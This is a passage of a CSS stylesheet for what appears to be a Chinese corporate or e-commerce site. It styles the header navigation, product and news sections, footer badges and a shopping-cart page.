margin: 15px auto 0;
display: inline-block
}
.cc-index .banner-slider dl dd {
display: inline-block;
background: #ccc;
width: 26px;
height: 6px;
margin: 10px 3px;
background: #d2d2d2;
border-radius: 3px;
cursor: pointer
}
.cc-index .banner-slider dl dd:first-child {
background: #000
}
#cc-index-header .top {
height: 36px;
line-height: 36px;
background: #313131;
position: fixed;
width: 100%;
left: 0;
top: 0;
z-index: 100;
padding: 0 0 0 50px;
box-sizing: border-box
}
#cc-index-header .top-inner {
height: 50px;
line-height: 50px
}
.phone-btn,.phone-menu,.phone-menu-mask {
display: none
}
#cc-index-header .top .top-welcome {
display: inline;
color: #fff
}
#cc-index-header .top .top-welcome span {
font-size: 13px
}
#cc-index-header .top .slide-nav {
display: none;
float: left;
overflow: hidden
}
#cc-index-header .top .slide-nav-inner {
display: block
}
#cc-index-header .top .slide-nav>div {
float: left;
height: 50px;
line-height: 50px
}
#cc-index-header .top .slide-nav .logo-small {
padding-right: 20px
}
#cc-index-header .top .slide-nav .logo-small img {
vertical-align: middle
}
#cc-index-header .top .slide-nav .logo-small .pc-logo {
width: 140px;
height: auto
}
#cc-index-header .top .slide-nav .logo-small .phone-logo {
display: none
}
#cc-index-header .top .slide-nav-right {
float: right;
overflow: hidden
}
#cc-index-header .top .slide-nav-right>ul>li {
float: left;
line-height: 36px;
padding-right: 30px
}
#cc-index-header .top .slide-nav-right>ul>li:nth-of-type(4) {
padding-right: 0
}
#cc-index-header .top .slide-nav-right>ul>li {
line-height: 36px;
height: 36px
}
#cc-index-header .top-inner .slide-nav-right>ul>li {
line-height: 50px;
height: 50px
}
#cc-index-header .top .slide-nav-right>ul>li>a {
height: 44px;
letter-spacing: 0
}
#cc-index-header .top .slide-nav-right li a {
color: #fff;
font-size: 13px;
display: block
}
#cc-index-header .top .slide-nav .nav-action>ul {
overflow: hidden
}
#cc-index-header .top .slide-nav .nav-action>ul>li {
float: left;
padding-left: 30px;
height: 50px
}
#cc-index-header .top .slide-nav .nav-action>ul>li>a {
color: #fff;
height: 44px;
font-size: 13px;
display: block
}
#cc-index-header .top .slide-nav .nav-action>ul>li:first-child a {
border-bottom: 1px solid #fff
}
#cc-index-header .top-inner .slide-nav .nav-action>ul>li:first-child a {
border: 0
}
#cc-index-header .top .slide-nav .nav-action>ul>li:hover>a,#cc-index-header .top .slide-nav-right>ul>li:hover>a {
border-bottom: 1px solid #fff
}
#cc-index-header .top .slide-nav .nav-action .all-products .nav-action-menu li:hover ul {
display: block
}
#cc-index-header .top .nav-action-menu {
position: absolute;
width: 100%;
left: 0;
top: 50px;
background: rgba(49,49,49,.95);
text-align: center;
display: none;
line-height: 56px
}
#cc-index-header .top .nav-action-menu li {
display: inline-block;
margin: 0 25px;
min-width: 43px
}
#cc-index-header .top .nav-action-menu li a {
color: #a0a0a0;
display: block;
font-size: 13px
}
#cc-index-header .top .nav-action-menu li a:hover {
color: #fff
}
#cc-index-header .top .nav-action-menu li i {
font-size: 30px;
font-weight: 400;
display: block;
padding: 10px 0 5px
}
#cc-index-header .top .nav-action-menu li p {
font-size: 13px;
line-height: 56px
}
#cc-index-header .top .all-products .nav-action-menu li {
padding: 0 18px;
margin: 0
}
#cc-index-header .top .all-products .nav-action-menu ul {
display: none;
position: absolute;
top: 56px;
left: 0;
width: 100%;
text-align: center;
background: rgba(49,49,49,.95);
border-top: 1px solid #585858;
line-height: 50px;
display: none!important;
}
#cc-index-header .top .all-products .nav-action-menu ul li {
display: inline-block
}
#cc-index-header .middle {
margin-top: 36px
}
#cc-index-header .middle .logo {
text-align: center;
height: 46px;
padding-top: 40px
}
#cc-index-header .middle .logo img {
margin-top: 5.5px
}
#cc-index-header .bottom {
position: relative
}
#cc-index-header .bottom .nav {
text-align: center;
margin-top: 40px;
font-size: 0
}
#cc-index-header .bottom .nav>li {
display: inline-block;
padding: 0 25px 10px 25px;
cursor: pointer
}
#cc-index-header .bottom .nav>li:first-child a {
border-bottom: 3px solid #000
}
#cc-index-header .bottom .nav>li a {
display: block;
padding-bottom: 5px;
font-size: 14px;
color: #313131;
border-bottom: 3px solid transparent;
font-weight: 700
}
#cc-index-header .bottom .nav>li .nav-sub-menu {
position: absolute;
z-index: 10;
width: 100%;
left: 0;
top: 40px;
text-align: center;
background: #fff;
opacity: .95;
padding: 40px 0 10px;
display: none;
opacity: 0
}
#cc-index-header .bottom .nav>li .nav-sub-menu li {
display: inline-block;
margin: 0 30px;
text-align: center
}
#cc-index-header .bottom .nav>li .nav-sub-menu li a {
color: #a0a0a0;
transition: all .2s ease;
-webkit-transition: all .2s ease;
-moz-transition: all .2s ease;
-o-transition: all .2s ease;
-ms-transition: all .2s ease
}
#cc-index-header .bottom .nav>li .nav-sub-menu li i {
font-size: 30px;
font-weight: 400
}
#cc-index-header .bottom .nav>li .nav-sub-menu li p {
padding-top: 5px;
font-size: 12px
}
#cc-index-header .bottom .nav>li .nav-sub-menu li:hover a {
color: #313131
}
.cc-index-common {
padding-bottom: 15px
}
.cc-index ._pad .w-1228 {
padding: 75px 0 55px
}
.cc-index ._border {
border-top: 10px solid #f6f6f6
}
.cc-index .title {
text-align: center
}
.cc-index .title h2 {
font-size: 28px;
font-weight: 700;
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif
}
.cc-index .title p {
font-size: 13px;
color: #707070;
margin: 5px auto
}
.cc-index-common .goods-list ul {
overflow: hidden
}
.cc-index-common .goods-list ul li {
float: left;
width: 298px;
margin: 20px 12px 0 0
}
.cc-index-common .goods-list ul li:nth-child(4n) {
margin-right: 0
}
.cc-index-common .goods-list ul li .item-img img {
width: 100%;
height: auto
}
.cc-index-common .goods-list ul li .item-name {
padding-top: 15px
}
.cc-index-common .goods-list ul li .item-name p {
font-size: 16px;
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif;
font-weight: 700;
text-align: center
}
.cc-index-common .wrapper {
padding-bottom: 50px
}
.cc-index .pad-bot-50 {
padding-bottom: 90px
}
.cc-index-common .single-pro {
padding: 50px 0
}
.cc-index-common .single-pro img {
width: 100%;
height: auto
}
.cc-index-common .sub-title {
line-height: 50px;
font-size: 24px;
border-bottom: 1px solid #d2d2d2;
margin-top: 30px
}
.cc-index-common .sub-title dl {
overflow: hidden;
height: 50px
}
.cc-index-common .sub-title dl dd .phone-nav-wrapper {
height: 50px
}
.cc-index-common .sub-title dl dt {
float: left;
color: #333;
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif;
font-size: 24px
}
.cc-index-common .sub-title dl dt span {
font-size: 12px;
padding-left: 10px
}
.cc-index-common .sub-title dl dd {
float: right
}
.cc-index-common .sub-title dl dd a {
font-size: 14px;
padding: 0 15px;
border-right: 1px solid #ccc;
line-height: 10px;
display: inline-block;
transition: all .2s;
-webkit-transition: all .2s;
-moz-transition: all .2s;
-o-transition: all .2s;
-ms-transition: all .2s;
vertical-align: top;
height: 10px;
margin-top: 20px
}
.cc-index-common .sub-title dl dd a:last-child {
border: 0
}
.cc-index-common .sub-title dl dd a:hover {
color: #a0a0a0
}
.cc-index-common .more {
display: block;
width: 180px;
text-align: center;
margin: 100px auto 0;
padding: 10px;
border-top: 1px solid #f78181;
border-bottom: 1px solid #f78181
}
.cc-index-common .more:hover {
color: #f78181
}
.cc-index-fuwu img {
width: 100%;
height: auto
}
.cc-index-quanpin {
background: url(../images/quanpin.jpg) no-repeat center;
background-size: cover;
color: #fff;
display: table;
width: 100%
}
.cc-index-quanpin .wrapper {
display: table-cell;
vertical-align: middle
}
.cc-index-quanpin .wrapper ul {
text-align: center
}
.cc-index-quanpin .wrapper ul li {
display: inline-block
}
.cc-index-quanpin .wrapper ul li a {
color: #fff;
width: 200px;
display: block
}
.cc-index-quanpin .wrapper ul li a:hover p {
color: #dedede
}
.cc-index-quanpin .wrapper ul li a p {
padding-top: 20px;
font-size: 13px;
line-height: 25px
}
.cc-index-quanpin .wrapper ul li a span {
font-size: 26px;
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif;
letter-spacing: 10px
}
.cc-index-anli .wrapper,.cc-index-fangan .wrapper,.cc-index-news .wrapper,.cc-index-partner .wrapper {
padding: 25px 0 55px;
overflow: hidden
}
.cc-index-fangan .wrapper ul {
overflow: hidden
}
.cc-index-fangan .wrapper ul li {
width: 604px;
float: left;
margin-right: 20px;
padding-bottom: 50px;
text-align: left
}
.cc-index-fangan .wrapper ul li:nth-child(2n) {
margin-right: 0
}
.cc-index-fangan .wrapper ul li>a {
display: block;
position: relative
}
.cc-index-fangan .wrapper ul li>a::before {
content: '';
position: absolute;
width: 100%;
height: 100%;
background: #fff;
z-index: 2;
opacity: 0;
transition: all .4s ease;
-webkit-transition: all .4s ease;
-moz-transition: all .4s ease;
-o-transition: all .4s ease;
-ms-transition: all .4s ease
}
.cc-index-fangan .wrapper ul li>a:hover::before {
opacity: .2
}
.cc-index-fangan .wrapper ul li>a img {
width: 100%;
height: auto
}
.cc-index-fangan .wrapper ul li p a {
display: block;
font-size: 15px;
padding: 20px 0 0 10px
}
.cc-index-fangan .wrapper ul li span {
display: block;
font-size: 13px;
padding: 8px 10px;
color: #a0a0a0;
line-height: 1.5
}
.cc-index-anli .wrapper .more,.cc-index-fangan .wrapper .more {
display: block;
width: 500px;
height: 50px;
line-height: 50px;
text-align: center;
margin: 0 auto;
border: 2px solid #313131;
transition: all .4s ease;
-webkit-transition: all .4s ease;
-moz-transition: all .4s ease;
-o-transition: all .4s ease;
-ms-transition: all .4s ease
}
.cc-index-anli .wrapper .more:hover,.cc-index-fangan .wrapper .more:hover {
color: #fff;
background: #313131
}
.cc-index-anli .w-1228 {
padding-bottom: 0
}
.cc-index-anli .wrapper {
overflow: hidden
}
.cc-index-anli .wrapper ul {
overflow: hidden;
width: 101%;
margin-left: -.5%;
margin-bottom: 50px
}
.cc-index-anli .wrapper ul li {
float: left;
width: 20%;
box-sizing: border-box;
border: 1px
}
.cc-index-anli .wrapper ul li {
border-right: 5px solid #fff
}
.cc-index-anli .wrapper ul li a {
position: relative;
display: block
}
.cc-index-anli .wrapper ul li a:hover .text {
opacity: .8
}
.cc-index-anli .wrapper ul li img {
width: 100%;
height: auto
}
.cc-index-anli .wrapper ul li p {
font-size: 13px;
text-align: center
}
.cc-index-anli .wrapper ul li .text {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
transition: all .4s ease;
-webkit-transition: all .4s ease;
-moz-transition: all .4s ease;
-o-transition: all .4s ease;
-ms-transition: all .4s ease;
background: #fff
}
.cc-index-anli .wrapper ul li .text p {
width: 80%;
margin: 0 auto;
position: relative;
z-index: 2;
color: #000;
margin-top: 30%
}
.cc-index-partner .wrapper a {
display: block
}
.cc-index-partner .wrapper img {
width: 100%
}
.cc-index-zonghe .w-1228 {
padding: 110px 0 65px;
overflow: hidden
}
.cc-index-zonghe .w-1228>._left {
width: 640px;
height: 414px;
position: relative
}
.cc-index-zonghe .w-1228 ._bottom a::before,.cc-index-zonghe .w-1228 ._top ._left a::before,.cc-index-zonghe .w-1228 ._top ._right a::before,.cc-index-zonghe .w-1228>._left a::before {
content: '';
position: absolute;
width: 100%;
height: 100%;
background: #fff;
opacity: 0;
transition: all .4s ease;
-webkit-transition: all .4s ease;
-moz-transition: all .4s ease;
-o-transition: all .4s ease;
-ms-transition: all .4s ease
}
.cc-index-zonghe .w-1228>._right {
width: 588px;
height: 414px
}
.cc-index-zonghe .w-1228 ._top {
overflow: hidden
}
.cc-index-zonghe .w-1228 ._top ._left,.cc-index-zonghe .w-1228 ._top ._right {
width: 284px;
height: 199px;
position: relative;
margin-left: 10px
}
.cc-index-zonghe .w-1228 ._bottom {
width: 578px;
margin: 10px 0 0 10px;
height: 205px;
position: relative
}
.cc-index-zonghe .w-1228 img {
width: 100%;
height: 100%
}
.cc-index-zonghe a {
display: block;
height: 100%
}
.cc-index-zonghe .w-1228 ._bottom a:hover::before,.cc-index-zonghe .w-1228 ._top ._left a:hover::before,.cc-index-zonghe .w-1228 ._top ._right a:hover::before,.cc-index-zonghe .w-1228>._left a:hover::before {
opacity: .2;
cursor: pointer
}
.cc-index-news .wrapper ._left {
width: 810px;
overflow: hidden
}
.cc-index-news .wrapper .tab-nav ul {
overflow: hidden
}
.cc-index-news .wrapper .tab-nav ul li {
float: left;
cursor: pointer;
width: 80px;
text-align: center;
height: 30px;
line-height: 30px;
margin: 0 5px;
background: #ececec;
border-radius: 15px;
font-size: 14px
}
.cc-index-news .wrapper .tab-nav ul li.active {
background: #313131;
color: #fff
}
.cc-index-news .wrapper .tab-nav ul li.active a {
color: #fff
}
.cc-index-news .wrapper .tab-nav ul li a {
color: #666;
font-size: 13px
}
.cc-index-news .wrapper .tab-content ul {
padding-top: 20px
}
.cc-index-news .wrapper .tab-content .article-list-item-wrapper {
display: none
}
.cc-index-news .wrapper .tab-content .article-list-item-wrapper:first-child {
display: block
}
.cc-index-news .wrapper .tab-content li {
overflow: hidden;
margin-bottom: 40px
}
.cc-index-news .wrapper .tab-content li ._left {
width: 173px;
height: 110px
}
.cc-index-news .wrapper .tab-content li ._left a {
display: block;
position: relative;
width: 173px;
height: 110px
}
.cc-index-news .wrapper .tab-content li ._left a::before {
content: '';
position: absolute;
width: 100%;
height: 100%;
opacity: 0;
background: #fff;
transition: all .4s ease;
-webkit-transition: all .4s ease;
-moz-transition: all .4s ease;
-o-transition: all .4s ease;
-ms-transition: all .4s ease
}
.cc-index-news .wrapper .tab-content li ._left a:hover::before {
opacity: .2
}
.cc-index-news .wrapper .tab-content li ._left img {
width: 100%;
height: 100%
}
.cc-index-news .wrapper .tab-content li .summary {
margin-left: 200px
}
.cc-index-news .wrapper .tab-content li .summary h3 a {
display: block;
font-size: 18px;
margin-bottom: 10px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
.cc-index-news .wrapper .tab-content li .summary p {
font-size: 14px;
color: #888;
text-overflow: -o-ellipsis-lastline;
overflow: hidden;
text-overflow: ellipsis;
display: -webkit-box;
-webkit-line-clamp: 2;
line-clamp: 2;
-webkit-box-orient: vertical
}
.cc-index-news .wrapper .tab-content li .summary .source {
overflow: hidden;
margin-top: 15px
}
.cc-index-news .wrapper .tab-content li .summary .source .author {
float: left;
font-size: 14px
}
.cc-index-news .wrapper .tab-content li .summary .source .time {
float: right;
font-size: 14px
}
.cc-index-news .wrapper ._right {
width: 330px;
overflow: hidden
}
.cc-index-news .wrapper ._right h2 {
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif;
font-size: 20px;
margin-bottom: 20px;
text-align: left
}
.cc-index-news .wrapper .article-list li {
height: 27px;
line-height: 27px;
margin-bottom: 15px
}
.cc-index-news .wrapper .article-list li i {
display: inline-block;
width: 25px;
height: 25px;
line-height: 25px;
text-align: center;
border: 1px solid #ccc;
margin-right: 10px;
vertical-align: top;
border-radius: 12.5px
}
.cc-index-news .wrapper .article-list li i.active {
border-color: #313131;
background: #313131;
color: #fff
}
.cc-index-news .wrapper .article-list li a {
white-space: nowrap;
overflow: hidden;
width: 280px;
text-overflow: ellipsis;
display: inline-block
}
.cc-index-news .wrapper .article-list li a:hover {
color: #a0a0a0
}
#cc-index-footer {
background: #1b1b1b
}
#cc-index-footer .wrapper {
padding-top: 30px
}
#cc-index-footer .wrapper .top {
overflow: hidden;
padding-bottom: 25px
}
#cc-index-footer .wrapper .top .top-l {
width: 220px;
padding-left: 80px;
position: relative
}
#cc-index-footer .wrapper .top .top-l .img-wrapper {
width: 50px;
position: absolute;
left: 0
}
#cc-index-footer .wrapper .top .top-l .img-wrapper img {
width: 100%;
height: auto
}
#cc-index-footer .wrapper .top .top-l h2,#cc-index-footer .wrapper .top .top-l p {
color: #fff
}
#cc-index-footer .wrapper .top .top-l h2 {
font-size: 16px;
color: #d7d8d9;
height: 30px;
text-align: left;
padding-bottom: 10px;
font-weight: 400
}
#cc-index-footer .wrapper .top .top-l p {
font-size: 20px;
color: #fff;
height: 30px
}
#cc-index-footer .wrapper .top .top-l .wechar .wechar_image {
position: absolute;
top: 140px;
left: 50px;
text-align: center
}
#cc-index-footer .wrapper .top .top-l .wechar .wechar_image a {
display: block;
color: #9b9ea0;
font-size: 14px;
line-height: 30px
}
#cc-index-footer .wrapper .top .top-l .wechar .wechar_ecode {
position: absolute;
top: 140px;
left: 160px;
text-align: center
}
#cc-index-footer .wrapper .top .top-l .wechar .wechar_ecode span {
display: block;
color: #9b9ea0;
font-size: 14px;
line-height: 30px
}
#cc-index-footer .wrapper .top .top-l li {
height: 30px;
line-height: 30px
}
#cc-index-footer .wrapper .top .top-l li a {
color: #9b9ea0;
font-size: 14px
}
#cc-index-footer .wrapper .top .top-l li a:hover {
color: #fff
}
#cc-index-footer .wrapper .top .top-r {
padding-left: 100px;
border-left: 1px solid #4b5054;
overflow: hidden
}
#cc-index-footer .wrapper .top .top-r>ul>li {
float: left;
margin-left: 60px
}
#cc-index-footer .wrapper .top .top-r>ul>li h3 {
color: #d7d8d9;
font-size: 13px;
font-weight: 400
}
#cc-index-footer .wrapper .top .top-r>ul>li ul {
margin: 14px 0 20px;
width: 130px
}
#cc-index-footer .wrapper .top .top-r>ul>li ul li {
margin-top: 4px
}
#cc-index-footer .wrapper .top .top-r>ul>li a {
font-size: 12px;
color: #9b9ea0
}
#cc-index-footer .wrapper .top .top-r>ul>li a:hover {
color: #fff
}
#cc-index-footer .wrapper .more_web {
border-top: 1px solid #4b5054;
padding: 10px 20px 10px 0;
box-sizing: border-box;
text-align: justify
}
#cc-index-footer .wrapper .more_web ul>li {
display: inline-block
}
#cc-index-footer .wrapper .more_web ul>li>a {
font-size: 12px;
color: #9b9ea0
}
#cc-index-footer .wrapper .footer_beian {
text-align: center
}
#cc-index-footer .wrapper .footer_beian a {
display: inline-block;
line-height: 30px;
height: 30px
}
#cc-index-footer .wrapper .footer_beian .certify-img {
height: 30px;
display: inline-block;
background-size: auto 30px;
background-repeat: no-repeat
}
#cc-index-footer .wrapper .footer_beian .kxwz {
opacity: .4;
background: url(../images/foot-renzheng.png) -1px -10px;
width: 97px
}
#cc-index-footer .wrapper .footer_beian .kxwz:hover {
opacity: 1
}
#cc-index-footer .wrapper .footer_beian .yhxxjb {
opacity: .4;
background: url(../images/foot-renzheng.png) -107px -4px;
width: 72px
}
#cc-index-footer .wrapper .footer_beian .yhxxjb:hover {
opacity: 1
}
#cc-index-footer .wrapper .footer_beian .police {
opacity: .4;
background: url(../images/foot-renzheng.png) -202px -4px;
width: 87px
}
#cc-index-footer .wrapper .footer_beian .police:hover {
opacity: 1
}
#cc-index-footer .wrapper .footer_beian .renzheng {
opacity: .4;
background: url(../images/foot-renzheng.png) -311px -10px;
width: 40px
}
#cc-index-footer .wrapper .footer_beian .renzheng:hover {
opacity: 1
}
#cc-index-footer .wrapper .footer_beian .cxwz {
opacity: .4;
background: url(../images/foot-renzheng.png) -373px -10px;
width: 85px
}
#cc-index-footer .wrapper .footer_beian .cxwz:hover {
opacity: 1
}
#cc-index-footer .wrapper .middle {
border-top: 1px solid #4b5054;
padding: 10px 20px 10px 0;
box-sizing: border-box;
text-align: justify
}
#cc-index-footer .wrapper .middle p {
font-size: 12px;
color: #444
}
#cc-index-footer .wrapper .bottom {
height: 70px;
line-height: 70px;
text-align: center;
border-top: 1px solid #4b5054;
color: #a0a0a0
}
#cc-index-footer .wrapper .bottom p span {
font-size: 12px;
color: #444
}
.phone-back {
display: none
}
.hei_sup {
height: 50px
}
.clearfix:after {
display: block;
content: '';
clear: both
}
.bg-f5f5f6 {
background: #f5f5f6
}
.dzal_banner_box .dzal_banner_bg {
background: #f5f5f6 url(../images/anli_bg.jpg) no-repeat center top;
background-size: 1920px;
height: 380px;
position: relative
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_text {
padding-top: 80px
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_text h2 {
text-align: left;
height: 40px;
line-height: 40px;
font-size: 32px;
color: #3d4751;
font-weight: 600;
overflow: hidden;
margin-bottom: 14px
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_text p {
width: 562px;
font-size: 16px;
color: #3d4751;
line-height: 26px;
margin-bottom: 28px;
font-weight: 700
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_text a {
display: block;
width: 132px;
height: 36px;
line-height: 36px;
text-align: center;
border: 1px solid #00c1de;
font-size: 14px;
color: #00c1de;
transition: all ease .2s
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_text a:hover {
background: #00c1de;
color: #fff
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_nav {
position: absolute;
bottom: 0;
left: 0;
right: 0;
height: 48px;
line-height: 48px;
margin: 0 auto
}
.dzal_banner_box .dzal_banner_bg .fixed {
position: fixed;
width: 100%;
top: 50px;
left: 0;
right: 0;
z-index: 99;
background: #fff;
box-shadow: 0 1px 20px 0 rgba(0,0,0,.16)
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_nav a {
float: left;
width: 50%;
text-align: center;
font-size: 16px;
color: #4b5154;
transition: all ease .2s
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_nav a.unsaw {
display: none
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_nav a.actived {
color: #fff;
background: #00b7d3;
box-shadow: 0 1px 20px 0 rgba(0,0,0,.16)
}
.dzal_banner_box .dzal_banner_bg .dzal_banner_nav a:hover {
color: #fff;
background: #00b7d3;
box-shadow: 0 1px 20px 0 rgba(0,0,0,.16)
}
.dzal_banner_box .dzal_banner_bg .fixed a.saw {
float: left;
width: 280px;
background: 0 0
}
.dzal_banner_box .dzal_banner_bg .fixed a.actived {
color: #00b7d3;
box-shadow: none
}
.dzal_banner_box .dzal_banner_bg .fixed a:hover {
box-shadow: none
}
.dzal_banner_box .dzal_banner_bg .fixed a.unsaw {
display: block;
position: absolute;
right: 0;
top: 8px;
width: 108px;
height: 32px;
line-height: 32px;
text-align: center;
font-size: 14px;
color: #fff;
background: #00c1de;
transition: all .3s
}
.dzal_banner_box .dzal_banner_bg .fixed a.unsaw:hover {
background: #28d0e9
}
.dzal_banner_box .dzal_banner_bg .fixed a.saw:hover {
color: #00b7d3
}
.dzal_banner_box .dzal_banner_bg .fixed .a_wrapper {
width: 1228px;
margin: 0 auto;
position: relative
}
.dzal_content_box .dzal_content_child {
padding: 80px 0 37px
}
.dzal_content_box .dzal_content_child h2 {
height: 36px;
line-height: 36px;
text-align: center;
font-size: 24px;
color: #373d41;
margin-bottom: 60px;
font-weight: 400
}
.dzal_content_box .dzal_content_child .dzal_content_child_child {
padding: 35px 0
}
.dzal_content_box .dzal_content_child .dzal_content_child_child h3 {
font-size: 20px;
font-weight: 400;
margin-bottom: 20px
}
.dzal_content_box .dzal_content_child .dzal_content_child_child .item li {
float: left;
width: 25%;
box-sizing: border-box;
padding: 0 10px
}
.dzal_content_box .dzal_content_child .dzal_content_child_child .item li a {
display: block;
box-sizing: inherit;
transition: all .3s ease-in-out;
border: 1px solid #d7d8d9;
background: #fff;
overflow: hidden
}
.dzal_content_box .dzal_content_child .dzal_content_child_child .item li a:hover {
box-shadow: 0 2px 15px 0 rgba(0,0,0,.15)
}
.dzal_content_box .dzal_content_child .dzal_content_child_child .item .item_body {
padding: 36px 0 0;
height: 268px;
background: 0 0;
box-sizing: inherit;
transition: all .3s ease-in-out
}
.dzal_content_box .dzal_content_child .dzal_content_child_child .item li a:hover .item_body {
transform: translateY(-94px)
}
.dzal_content_box .dzal_content_child .dzal_content_child_child .item .item_body .img_wrapper {
width: 230px;
margin: 0 auto;
text-align: center
}
.dzal_content_box .dzal_content_child .dzal_content_child_child .item .item_body .img_wrapper img {
max-width: 230px;
max-height: 60px
}
.dzal_content_box .dzal_content_child .dzal_content_child_child .item .item_body dl {
padding: 32px 32px 20px
}
.dzal_content_box .dzal_content_child .dzal_content_child_child .item .item_body dt {
margin-bottom: 8px;
text-align: center;
font-weight: 700;
font-size: 18px;
color: #373d41
}
.dzal_content_box .dzal_content_child .dzal_content_child_child .item .item_body dd {
font-size: 14px;
color: #373d41;
line-height: 24px;
text-align: justify
}
#cc-index-header .slide-nav-right #car-box {
position: absolute;
width: 25px;
height: 100%;
cursor: pointer;
right: 266px
}
#cc-index-header .slide-nav-right #car-box img {
width: 25px;
height: auto;
position: absolute;
top: 50%;
margin-top: -12.5px
}
#article_top #add_to_deal {
background: #fff;
color: #333;
border: 2px solid #333;
height: 43px;
line-height: 43px
}
#article_top #add_to_deal:hover {
background: #333;
color: #fff
}
#cc-index-header .slide-nav-right #car-box #car_num {
position: absolute;
background: #e56a69;
color: #fff;
width: 18px;
height: 18px;
font-size: 12px;
font-weight: lighter;
line-height: 18px;
text-align: center;
border-radius: 9px;
font-family: SimSun;
right: 22px;
top: 8px
}
#cc-index-header .slide-nav-right #car-box .car-tip-wrapper {
display: none
}
#cc-index-header .slide-nav-right #car-box .triangle {
width: 0;
height: 0;
border: 8px solid transparent;
border-bottom-color: #fff;
position: absolute;
left: 15px;
bottom: -1px;
margin-left: -8px;
z-index: 2
}
#cc-index-header .slide-nav-right #car-box .car-tip {
position: absolute;
width: 250px;
padding: 15px;
border: 1px solid #a0a0a0;
left: -150px;
top: 50px;
background: #fff
}
#cc-index-header .slide-nav-right #car-box .car-tip .car-lic {
float: left
}
#cc-index-header .slide-nav-right #car-box .car-tip .car-lic img {
position: static;
width: 100px;
height: auto;
border: 0
}
#cc-index-header .slide-nav-right #car-box .car-tip .car-detail {
float: left;
padding-left: 15px
}
#cc-index-header .slide-nav-right #car-box .car-tip .car-detail .car-tit {
line-height: 30px;
font-size: 16px;
font-weight: lighter;
color: #090909
}
#cc-index-header .slide-nav-right #car-box .car-tip .car-detail .car-tit h3 {
width: 100px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
#cc-index-header .slide-nav-right #car-box .car-tip .car-detail .car-btn a {
color: #fff;
display: block;
background: #1b1b1b;
width: 81px;
height: 34px;
line-height: 34px;
margin-top: 20px;
text-align: center
}
.add_car_fix {
position: fixed;
top: 0;
width: 100%;
height: 80px;
background: #1b1b1b;
display: none;
z-index: 101
}
.add_car_fix .fix_mid {
width: 78%;
margin: 0 auto
}
.add_car_fix .fix_l {
float: left
}
.add_car_fix .fix_l ul {
overflow: hidden
}
.add_car_fix .fix_l ul li {
float: left;
height: 80px;
line-height: 80px
}
.add_car_fix .fix_l ul li a {
padding: 0 50px;
font-size: 18px;
color: #939393;
border-right: 1px solid #939393;
line-height: 40px
}
.add_car_fix .fix_l ul li a:hover {
color: #fff;
border-color: #fff
}
.add_car_fix .fix_l ul li:first-child a {
padding-left: 0
}
.add_car_fix .fix_l ul li:last-child a {
border: 0
}
.add_car_fix .fix_r {
float: right;
position: relative
}
.add_car_fix .fix_r .triangle {
position: absolute;
width: 0;
height: 0;
border: 8px solid transparent;
border-bottom-color: #fff;
z-index: 2;
bottom: -16px;
display: none
}
.add_car_fix .fix_r>div {
float: left
}
.add_car_fix .fix_r .fix_r_add {
width: 220px;
height: 50px;
background: #e56a69;
color: #fff;
text-align: center;
line-height: 50px;
font-size: 16px;
margin-top: 15px;
cursor: pointer
}
.add_car_fix .fix_r .fix_r_add:hover {
background: #d06665;
color: #d2d2d2
}
.add_car_fix .fix_r .fix_r_car {
width: 118px;
height: 48px;
border: 1px solid #fff;
margin: 15px 0 0 10px;
font-size: 16px;
color: #fff;
cursor: pointer
}
.add_car_fix .fix_r .fix_r_car:hover {
color: #d2d2d2;
border-color: #d2d2d2
}
.add_car_fix .fix_r .fix_r_car .fix_img {
position: relative;
height: 48px;
display: inline-block;
line-height: 48px;
text-align: center;
text-indent: 1em
}
.add_car_fix .fix_r .fix_r_car .fix_img img {
vertical-align: top;
margin-top: 9px
}
.add_car_fix #car_num_fix {
position: absolute;
top: 3px;
right: -7px;
width: 20px;
height: 20px;
line-height: 20px;
text-align: center;
background: #e56a69;
color: #fff;
font-weight: lighter;
text-indent: 0;
border-radius: 10px;
font-size: 12px
}
.car_bg {
background: #f6f6f6
}
.w_car {
width: 1500px;
margin: 0 auto
}
.car_body .w_car {
padding: 40px 0;
margin: 50px auto
}
.car_body .mt-des50 {
margin-top: -50px
}
.car_body .car_content,.car_body .car_msg {
background: #fff;
padding: 50px 0
}
.car_body .car_content h2,.car_body .car_msg h2 {
width: 1364px;
margin: 0 auto 30px;
text-align: left;
font-weight: 700;
padding-bottom: 30px;
border-bottom: 7px solid #f6f6f6
}
.car_body .car_msg .input_wrapper {
width: 1364px;
margin: 0 auto;
overflow: hidden
}
.car_body .car_msg .input_wrapper li {
display: inline-block;
float: left;
margin-right: 100px;
font-size: 15px;
width: 300px;
height: 40px;
}
.car_body .car_msg .input_wrapper li label {
display: inline-block;
width: 80px;
font-weight: 700;
color: #000
}
.car_body .car_msg .input_wrapper li input {
width: 180px;
height: 22px;
padding: 0 5px;
border: 1px solid #a9a9a9
}
.car_body .car_msg .input_wrapper li select {
border: 1px solid #a9a9a9;
height: 24px;
}
.car_body .car_msg .input_wrapper li input:focus {
border: 1px solid #2ebafe
}
.car_body .car_content .list_wrapper li {
overflow: hidden;
padding-bottom: 25px;
line-height: 121px
}
.car_body .car_content .list_wrapper li>div {
float: left
}
.car_body .car_content .list_wrapper li .checked {
width: 18px;
height: 18px;
border: 1px solid #a0a0a0;
cursor: pointer;
margin: 50.5px 25px 0;
background: no-repeat center center
}
.car_body .car_content .list_wrapper li .ischecked {
width: 20px;
height: 20px;
border: 0;
background-image: url(../images/gou.png)
}
.car_body .car_content .list_wrapper li .lit {
width: 171px;
height: 117px
}
.car_body .car_content .list_wrapper li .lit img {
width: 100%;
height: 100%
}
.car_body .car_content .list_wrapper li .tit h3 {
font-size: 15px;
color: #000;
margin-left: 100px;
width: 400px;
overflow: hidden;
